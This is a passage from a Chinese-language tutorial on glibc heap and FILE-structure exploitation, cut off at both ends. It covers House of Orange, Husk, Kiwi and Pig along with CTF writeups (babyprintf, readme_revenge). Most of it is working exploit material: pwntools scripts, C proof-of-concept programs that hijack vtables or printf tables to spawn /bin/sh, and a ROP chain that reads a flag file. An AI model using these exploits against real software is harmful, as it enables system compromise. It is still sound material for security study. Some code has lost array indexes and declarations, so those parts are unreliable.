v2 = _IO_getc(stdin);
v4 = v2;
if ( v2 == '\n' )
break;
if ( ++v0 == 9 )
{
if ( v4 != '\n' )
return strtoul(v4, 0LL, 0);
v1 = 9LL;
break;
}
}
v4 = 0;
return strtoul(v4, 0LL, 0);
}
```
由于程序开启了 `FORTIFY` 机制, 因此在程序编译时所有的 `printf()` 都被 `__printf_chk()` 替换掉了,它有如下限制:
> * 包含 `%n` 的格式化字符串不能位于程序内存中的可写地址。
> * 当使用位置参数时,必须使用范围内的所有参数。所以如果要使用 `%7$p`,你必须同时使用`1`,`2`,`3`,`4`,`5`和`6`。
先分配 `size` 大小的空间(不超过0x1000),然后在这里读入字符串,由于使用的是 `gets()` 函数,存在堆溢出漏洞。然后直接调用`__printf_chk()` 打印这个字符串,存在栈信息泄露漏洞。
### 漏洞利用
**前置脚本**
```python
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
is_debug = True
is_local = True
def connect():
global io, elf, libc
if is_local:
io = process('./babyprintf')
else:
io = remote('192.168.152.130', 10001)
elf = ELF("./babyprintf")
libc = elf.libc
def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
pause()
else:
pass
def prf(size, string):
io.sendlineafter(b"size: ", str(size).encode())
io.sendlineafter(b"string: ", string)
```
**泄露libc**
```python
def leak_libc():
global libc_base
payload= b"A" * 16
payload += p64(0) + p64(0xfe1) # top chunk header
prf(16, payload)
#gdb.attach(io, 'b *0x400810')
prf(0x1000, b'%p%p%p%p%p%pA') # _int_free in sysmalloc
#pause()
libc_start_main = int(io.recvuntil(b'A', drop=True)[-12:], 16) - 241
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info("libc_base address: 0x%x" % libc_base)
```
通过溢出将 `top_chunk` 的 `size` 改成 `fe1`,然后利用申请 `0x1000 > 0xfe1` 大小的 `chunk` 将 `old_top_chunk` 放进 `unsorted bin` 中,并利用第二次的格式化字符串漏洞泄露 `libc` 地址。
**house of orange**
```python
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
vtable_addr = libc_base + 0x3BE4C0 # _IO_str_jumps
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("vtable address: 0x%x" % vtable_addr)
_IO_buf_end = (bin_sh_addr - 100) // 2
stream= p64(0) + p64(0x61) # fake header, fp->_flags, fp->_IO_read_ptr
stream += p64(0) + p64(io_list_all - 0x10)# fake bk pointer, fp->_IO_read_end, fp->_IO_read_base
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffffffffffff) # fp->_IO_write_ptr
stream += p64(0) * 2 # fp->_IO_write_end, fp->_IO_buf_base
stream += p64(_IO_buf_end) # fp->_IO_buf_end
stream= stream.ljust(0xc0, b'\x00')
stream += p64(0) # fp->_mode
payload= b'A' * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(vtable_addr) # _IO_FILE_plus->vtable # 0xd8
payload += p64(system_addr) # 0xe0
gdb.attach(io, 'b *0x400810')
prf(16, payload)
io.sendline(b"0x1000") # abort routine
pause()
```
利用堆溢出漏洞构造如下 `Heap` 与 `IO_FILE` 结构:
我们需要利用 `abort` 调用 `_IO_OVERFLOW` 所以需要 `fp->_mode`为 `0` 且 `fp->_IO_write_ptr>_fp->_IO_write_base`。然后利用 `_IO_str_overflow` 函数所以需要绕过以下检查。
* `_IO_buf_base = 0`,`_IO_buf_end = (bin_sh_addr - 100) // 2`
* `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
* `_IO_write_ptr = ((bin_sh_addr - 100) // 2) +1` ,`_IO_write_base = 0x0`
* `fp->_s._allocate_buffer(fp+0xe0)` 改为 `system` 或 `one_gadget` 地址。
利用 `house of orange` 将 `_IO_list_all` 的 `vtable` 指向 `_IO_str_jumps`,然后利用 `abort` 调用 `_IO_OVERFLOW->_IO_str_overflow` 然后进入我们上面讲的调用流,最后调用 `system("/bin/sh\x00")`。
最后`libc` 的低 `32` 位地址为负时,攻击才会成功。
## House of husk
`glibc >= 2.23`
### 原理
这种攻击方式主要是利用了`printf`的一个调用链,应用场景是只能分配较大 `chunk` 时(超过fastbin),存在或可以构造出UAF漏洞。`printf` 函数通过检查 `__printf_function_table` 是否为空,来判断是否有自定义的格式化字符,若为 `printf` 类格式字符串函数,则会根据格式字符串的种类去执行 `__printf_arginfo_table` 处的函数指针。
```cpp
int
__register_printf_function (int spec, printf_function converter, printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter, (printf_arginfo_size_function*) arginfo);
}
int
__register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{
// 不在 0~0xff 范围内则调用 __set_errno 并返回 -1
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
// 若spec为空,程序则会通过calloc分配两个堆地址来存放
// __printf_arginfo_table和__printf_function_table
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table = converter;
__printf_arginfo_table = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
```
我们可以利用这样一条调用链`printf->vfprintf->printf_positional->__parse_one_specmb`,通过篡改`__printf_arginfo_table`和`__printf_function_table`来进行攻击,可以看到当`__printf_function_table`非空,将会调用`printf_positional`函数
```cpp
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
...
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
...
do_positional:
...
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
...
}
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
...
nargs += __parse_one_specmb (f, nargs, &specs, &max_ref_arg);
...
extern printf_function **__printf_function_table;
int function_done;
if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs.ndata_args
* sizeof (const void *));
/* Fill in an array of pointers to the argument values.*/
for (unsigned int i = 0; i < specs.ndata_args; ++i)
ptr = &args_value.data_arg + i];
/* Call the function.*/
function_done = __printf_function_table[(size_t) spec](s, &specs.info, ptr);
...
}
}
size_t
attribute_hidden
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
{
...
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table == NULL
/* We don't try to get the types for all arguments if the format
uses more than one.The normal case is covered though.If
the call returns -1 we continue with the normal specifiers.*/
|| (int) (spec->ndata_args = (*__printf_arginfo_table)
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
...
}
```
* 泄露 `libc` 地址。
* 修改 `global_max_fast` 为很大的值,可以 `large bin attack/unsorted bin attack`
* 将 `__printf_function_table` 或者 `__printf_arginfo_table` 覆盖为指向写有 one_gadget 的内存的指针。其中 `one_gadget` 在内存中的偏移对应与之后触发漏洞的 `spec` 。
* 如果是利用 `__printf_function_table` 触发漏洞需要让 `__printf_arginfo_table` 指向一块内存并且该内存对应 `spec` 偏移处设为 null ,否则会在 `__parse_one_specmb` 函数的 if 判断中造成不可预知的错误。
* 最后调用 `printf` 触发漏洞获取 `shell` 。
### (https://ptr-yudai.hatenablog.com/entry/2020/04/02/013910)
```cpp
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc
int main (void)
{
unsigned long libc_base;
char *a;
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a = malloc(0x500); /* UAF chunk */
a = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a = malloc(0x500); /* avoid consolidation */
free(a);
// unsorted bin 泄露 libc
libc_base = *(unsigned long*)a - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* prepare fake printf arginfo table */
/* 'X'-2 mean that prev_size | size */
*(unsigned long*)(a + ('X' - 2) * 8) = libc_base + ONE_GADGET;
// now __printf_arginfo_table['X'] = one_gadget;
/*(unsigned long*)(a + ('X' - 2) * 8) = libc_base + ONE_GADGET; */
/* unsorted bin attack */
*(unsigned long*)(a + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a);// __printf_function_table => a heap_addr which is not NULL
free(a);// => one_gadget
/* ignite! */
printf("%X", 0);
return 0;
}
```
## [readme_revenge](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge)
### 检查信息
静态编译并且没有去除符号。
### 试运行
### 逆向分析
```assembly
.text:0000000000400A0D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400A0D public main
.text:0000000000400A0D main proc near ; DATA XREF: _start+1D↑o
.text:0000000000400A0D
.text:0000000000400A0D var_1020= qword ptr -1020h
.text:0000000000400A0D
.text:0000000000400A0D ; __unwind {
.text:0000000000400A0D 55 push rbp
.text:0000000000400A0E 48 89 E5 mov rbp, rsp
.text:0000000000400A11 48 8D A4 24 E0 EF FF FF lea rsp,
.text:0000000000400A19 48 83 0C 24 00 or , 0
.text:0000000000400A1E 48 8D A4 24 20 10 00 00 lea rsp,
.text:0000000000400A26 48 8D 35 B3 69 2B 00 lea rsi, name
.text:0000000000400A2D 48 8D 3D 50 C7 08 00 lea rdi, unk_48D184 ;%s
.text:0000000000400A34 B8 00 00 00 00 mov eax, 0
.text:0000000000400A39 E8 22 71 00 00 call __isoc99_scanf
.text:0000000000400A39
.text:0000000000400A3E 48 8D 35 9B 69 2B 00 lea rsi, name
.text:0000000000400A45 48 8D 3D 3B C7 08 00 lea rdi, aHiSBye ; "Hi, %s. Bye.\n"
.text:0000000000400A4C B8 00 00 00 00 mov eax, 0
.text:0000000000400A51 E8 7A 6F 00 00 call printf
.text:0000000000400A51
.text:0000000000400A56 B8 00 00 00 00 mov eax, 0
.text:0000000000400A5B 5D pop rbp
.text:0000000000400A5C C3 retn
.text:0000000000400A5C ; } // starts at 400A0D
.text:0000000000400A5C
.text:0000000000400A5C main endp
```
存在缓冲区漏洞,向 `.bss` 节的 `name` 变量写入内容,然后打印它。并且 `flag` 位于 `.data` 节,可以利用 `__stack_chk_fail()` 将其打印出来。
### 漏洞利用
利用缓冲区溢出篡改 `__printf_function_table` 指向一个非零值,因为 `%s` 的 `ascii` 是 `0x73`,所以让 `__printf_arginfo_table` 指向 `fake_arginfo_table == __stack_chk_fail()`,将 `argv` 改为 `flag` 地址。
**exp**
```python
from pwn import *
io = process('./readme_revenge')
flag_addr = 0x6b4040
name_addr = 0x6b73e0
argv_addr = 0x6b7980
func_table = 0x6b7a28
arginfo_table = 0x6b7aa8
stack_chk_fail = 0x4359b0
payload= p64(flag_addr) # name
payload= payload.ljust(0x73 * 8, b"\x00")
payload += p64(stack_chk_fail)# __printf_arginfo_table
payload= payload.ljust(argv_addr - name_addr, b"\x00")
payload += p64(name_addr) # argv
payload= payload.ljust(func_table - name_addr, b"\x00")
payload += p64(name_addr) # __printf_function_table
payload= payload.ljust(arginfo_table - name_addr, b"\x00")
payload += p64(name_addr) # __printf_arginfo_table
gdb.attach(io, 'b *0x400A4C')
io.sendline(payload)
pause()
io.interactive()
```
## House of Kiwi
`glibc < 2.36`
### 原理
有如下调用链:
```cpp
#ifdef NDEBUG
# define assert(expr) ((void) 0)
#else
# define assert(expr) \
((expr) \
? ((void) 0) \
: __malloc_assert (#expr, __FILE__, __LINE__, __func__))
extern const char *__progname;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
#endif
```
_tips:通过`large bin chunk`的`size`中`flag`位修改,或者`top chunk`的`inuse`写`0`等方法可以触发`assert`_
当我们触发 `assert` 断言时会调用 `__malloc_assert`,`__malloc_assert` 里有这样一条调用链:`fflush->_IO_fflush`
```cpp
int
_IO_fflush (_IO_FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
```
执行到 `result = _IO_SYNC (fp) ? EOF : 0;` 时,会调用 `_IO_new_file_sync`, `_IO_file_jumps_` 可写。因此将 `_IO_file_jumps_` 对应 `_IO_new_file_sync` 函数指针的位置覆盖为 `one_gadget` 就可以获取 `shell` 。
利用前提:
1. 能够触发 `__malloc_assert`。
2. 能够申请到 `_IO_file_sync` 和 `_IO_helper_jumps` 这两个位置并且修改。
### POC
**未开沙箱 poc**
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
void getshell()
{
system("/bin/sh");
}
size_t libc_base;
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
libc_base= ((size_t)setvbuf) - 0x7a4e0;
size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps
*((size_t*)_IO_file_sync) = &getshell;
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE;
malloc(0x1000);
_exit(-1);
}
```
**开了沙箱禁用 execve**
对于禁用 `execve` 的程序需要借助 `(setcontext+61) + rop` 或 `shellcode` 进行 `orw` 。`glibc 2.29`之后 `setcontext`中的 `gadget`变成了以 `rdx `索引,因此还要先通过 `ROP`控制 `RDX`的值。
```assembly
; setcontext+61
.text:00000000000580DD mov rsp,
.text:00000000000580E4 mov rbx,
.text:00000000000580EB mov rbp,
.text:00000000000580EF mov r12,
.text:00000000000580F3 mov r13,
.text:00000000000580F7 mov r14,
.text:00000000000580FB mov r15,
.text:00000000000580FF test dword ptr fs:48h, 2
....
.text:00000000000581C6 mov rcx,
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi,
.text:00000000000581D2 mov rdi,
.text:00000000000581D6 mov rcx,
.text:00000000000581DD mov r8,
.text:00000000000581E1 mov r9,
.text:00000000000581E5 mov rdx,
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn
```
_tips:注意,内存中有不止一个`_IO_helper_jumps_` ,具体是哪一个要通过调试确定_
调用 `_IO_new_file_sync` 时 `rdx` 指向的是 `_IO_helper_jumps_` 结构,该结构同样可写。因此可以通过修改 `_IO_helper_jumps_` 中的内容来给寄存器赋值。还需要设置 `rsp` 指向提前布置好的 `rop` 的起始位置,同时设置 `rip` 指向 `ret` 指令。最后劫持程序流实现 `orw` 。
总体利用思路如下:
- 利用 `large bin attack` 改位于 `_IO_file_jumps` 中的`_IO_file_sync`指针为 `setcontext + 61`
- 修改`IO_helper_jumps + 0xA0` 和 `IO_helper_jumps + 0xA8 `分别为可迁移的存放有 `rop` 的位置和 `ret` 指令或者 `rop` 首个指令地址的位置,则可以进行栈迁移
**poc**
来自 (https://gitcode.net/qq_45323960/attachment/-/tree/master/house_of_poc/house_of_kiwi)
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x2da82
#define pop_rdx_r12 libc_base + 0x107191
#define pop_rsi_ret libc_base + 0x37bba
#define pop_rax_ret libc_base + 0x446d0
#define syscall_ret libc_base + 0x88236
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP;
char FLAG[] = "./flag\x00";
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
libc_base= ((size_t)setvbuf) - 0x7a4e0;
size_t magic_gadget = libc_base + 0x50bd0 + 61; // setcontext + 61
size_t _IO_helper_jumps = libc_base + 0x1f3980; // _IO_helper_jumps
size_t _IO_file_sync = libc_base + 0x1f45e0; // sync pointer in _IO_file_jumps
uint32_t i = 0;
ROP = pop_rax_ret;
ROP = 2;
ROP = pop_rdi_ret;
ROP = (size_t)FLAG;
ROP = pop_rsi_ret;
ROP = 0;
ROP = syscall_ret;
ROP = pop_rdi_ret;
ROP = 3;
ROP = pop_rdx_r12;
ROP = 0x100;
ROP = 0;
ROP = pop_rsi_ret;
ROP = (size_t)(FLAG + 0x10);
ROP = (size_t)read;
ROP = pop_rdi_ret;
ROP = 1;
ROP = (size_t)write;
// 设置rsp
*((size_t*)_IO_helper_jumps + 0xA0/8) = (size_t)ROP;
// 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)_IO_helper_jumps + 0xA8/8) = ret;
// 设置fflush(stderr)中调用的指令地址
*((size_t*)_IO_file_sync) = magic_gadget;
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
// top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中
// 其中有个判断top_chunk的size中inuse位是否存在
*top_size = (*top_size)&0xFFE;
malloc(0x1000); // 触发assert
_exit(-1);
}
```
**glibc-2.36 的执行流**
`glibc-2.36` 的 `__malloc_assert` 发生重大改变,直接通过系统调用不走 `IO`,该方法失效。
```cpp
_Noreturn static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
__libc_message (do_abort, "\
Fatal glibc error: malloc assertion failure in %s: %s\n",
function, assertion);
__builtin_unreachable ();
}
```
## House of pig
### 前置知识
再来看一下 `_IO_str_overflow` 函数:
```cpp
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 覆盖到这里
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 调用malloc
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);// 调用memecpy,覆盖
free (old_buf); // 调用free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
...
}
}
```
利用流程如下:
- 将`_IO_buf_base` 指向 `/bin/sh\x00` 地址。
- 控制`_IO_buf_end-_IO_buf_base` 的值也就是 `new_size` 的值,进而控制分配的 `chunk` 的大小,分配到布局好的地址。
- 利用 `memcpy` 中覆盖地址,也就是 `malloc` 出来的 `new_buf`, 可以覆盖`__malloc_hook/__free_hook` 等
- 最后调用 `free(old_buf) -> system("/bin/sh")`,
在 `glibc-2.34` 后 `ptmalloc` 取消了各种 `hook`,但依然可以用 `house of pig` 实现任意地址写任意值,借助其他手段完成权限获取,后面有时间会做补充。
`House of Pig` 是一个将 `Tcache Statsh Unlink Attack` 和 `FSOP` 结合的攻击,同时使用到了 `Largebin Attack` 进行辅助。主要适用于 `libc 2.31` 及以后的新版本 `libc` 并且程序中仅有 `calloc` 时。
利用条件为
- 存在 `UAF`
-能执行 `abort` 流程或程序显式调用 `exit` 或程序能通过主函数返回。
### (https://github.com/Hornos3/pwnfile)
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK"36"
#define WHITE "37"
#define UNDEFINED "-1"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"
#define STR_END "\033[0m"
void printf_color(char* color, char* effect, char* string){
char buffer = {0};
strcpy(buffer, "\033[");
if(effect != '-'){
strcat(buffer, effect);
strcat(buffer, ";");
}
strcat(buffer, color);
strcat(buffer, "m");
strcat(buffer, string);
printf("%s" STR_END, buffer);
}
int main(){
printf_color(GREEN, UNDEFINED, "今天我们来学习一下house of pig的利用原理。\n");
printf_color(GREEN, UNDEFINED, "house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n");
printf_color(GREEN, UNDEFINED, "首先我们了解一下这种利用方式的基本原理。\n");
printf_color(GREEN, UNDEFINED, "本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n");
printf_color(GREEN, UNDEFINED, "在glibc 2.31下,house of pig需要利用__free__hook。\n\n");
printf_color(RED, HIGHLIGHT, "第一步:获取libc的加载地址及堆地址。\n");
printf_color(GREEN, UNDEFINED, "通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n");
size_t puts_addr = (size_t)puts;
size_t libc_base = puts_addr - 0x84420;
printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);
printf_color(GREEN, UNDEFINED, "然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
size_t chunk_1 = (size_t) malloc(0x4F0) - 0x10;
printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);
printf_color(RED, HIGHLIGHT, "第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
printf_color(GREEN, UNDEFINED, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
printf_color(GREEN, UNDEFINED, "在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n");
printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");
printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1EEE48。\n");
size_t __free_hook = libc_base + 0x1EEE48;
printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);
size_t* vuln_1 = (size_t*)(__free_hook - 0x8);
// ---------- 第一处漏洞利用 ---------- //
*vuln_1 = chunk_1;
// --------------------------------- //
printf_color(BLUE, HIGHLIGHT, "第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n");
printf_color(RED, HIGHLIGHT, "第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1ED5A0。\n");
size_t* _IO_list_all = (size_t*)(libc_base + 0x1ED5A0);
printf_color(GREEN, UNDEFINED, "_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n");
printf_color(GREEN, UNDEFINED, "在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n");
printf_color(GREEN, UNDEFINED, "exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n");
printf_color(GREEN, UNDEFINED, "下面是_IO_flush_all_lockp的函数定义:\n\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/genops.c, line 684)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_flush_all_lockp (int do_lock)\n"
"{\n"
"int result = 0;\n"
"FILE *fp;\n"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
"_IO_cleanup_region_start_noarg (flush_cleanup);\n"
"_IO_lock_lock (list_all_lock);\n"
"#endif\n"
"\n"
"\033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
" {\n"
" run_fp = fp;\n"
" if (do_lock)\n"
"\t_IO_flockfile (fp);\n"
"\n"
" if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
"\t || (_IO_vtable_offset (fp) == 0\n"
"\t && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
"\t\t\t\t > fp->_wide_data->_IO_write_base))\n"
"\t )\n"
"\t&& _IO_OVERFLOW (fp, EOF) == EOF)\n"
"\tresult = EOF;\n"
"\n"
" if (do_lock)\n"
"\t_IO_funlockfile (fp);\n"
" run_fp = NULL;\n"
" }\n\033[1;" PURPLE "m"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
"_IO_lock_unlock (list_all_lock);\n"
"_IO_cleanup_region_end (0);\n"
"#endif\n"
"\n"
"return result;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n");
printf_color(GREEN, UNDEFINED, "其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n");
printf_color(GREEN, UNDEFINED, "这个函数指的是vtable中overflow那个字段对应的函数。\n");
printf_color(GREEN, UNDEFINED, "要执行到这个函数,就必须要让前面一个判断条件满足。\n");
printf_color(GREEN, UNDEFINED, "这也就是我们伪造FILE结构体时需要注意的地方。\n");
printf_color(GREEN, UNDEFINED, "下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n");
size_t chunk_2 = (size_t) calloc(1, 0xF0) - 0x10;
// ---------- 第二处漏洞利用 ---------- //
*_IO_list_all = chunk_2;
// --------------------------------- //
printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);
printf_color(RED, HIGHLIGHT, "第四步:伪造FILE结构体。\n");
printf_color(GREEN, UNDEFINED, "我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n");
printf_color(GREEN, UNDEFINED, "再次强调注意_IO_flush_all_lockp函数的限定条件。\n");
printf_color(GREEN, UNDEFINED, "if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n");
printf_color(RED, HIGHLIGHT, "fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
printf_color(GREEN, UNDEFINED, "其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n");
printf_color(GREEN, UNDEFINED, "我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n");
size_t* fake_FILE = (size_t*) chunk_2;
fake_FILE = 0; // _mode
fake_FILE = 1;
fake_FILE = 0xFFFFFFFFFFFF; // _IO_write_ptr
fake_FILE = 0; // _IO_write_base
printf_color(GREEN, UNDEFINED, "三个字段修改完成。但我们需要修改的可不止这三个字段。\n");
printf_color(GREEN, UNDEFINED, "在这个判断条件通过后,我们将会进入overflow函数。\n");
printf_color(GREEN, UNDEFINED, "house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n");
printf_color(GREEN, UNDEFINED, "这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n");
printf_color(GREEN, UNDEFINED, "看一下IDA中的_IO_str_jumps结构体:\n\n");
printf_color(PURPLE, HIGHLIGHT,
"__libc_IO_vtables:00000000001E9560 qword_1E9560 dq 0 ; DATA XREF: sub_52C20+49A↑o\n"
"__libc_IO_vtables:00000000001E9560 ; sscanf+B5↑o ...\n"
"__libc_IO_vtables:00000000001E9568 dq 0\n"
"__libc_IO_vtables:00000000001E9570 dq offset sub_93D50\n"
"\033[1;31m__libc_IO_vtables:00000000001E9578 dq offset _IO_str_overflow\n\033[1;" PURPLE "m"
"__libc_IO_vtables:00000000001E9580 dq offset _IO_str_underflow\n"
"__libc_IO_vtables:00000000001E9588 dq offset _IO_default_uflow\n"
"__libc_IO_vtables:00000000001E9590 dq offset _IO_str_pbackfail\n"
"__libc_IO_vtables:00000000001E9598 dq offset _IO_default_xsputn\n"
"__libc_IO_vtables:00000000001E95A0 dq offset _IO_default_xsgetn\n"
"__libc_IO_vtables:00000000001E95A8 dq offset _IO_str_seekoff\n"
"__libc_IO_vtables:00000000001E95B0 dq offset sub_92600\n"
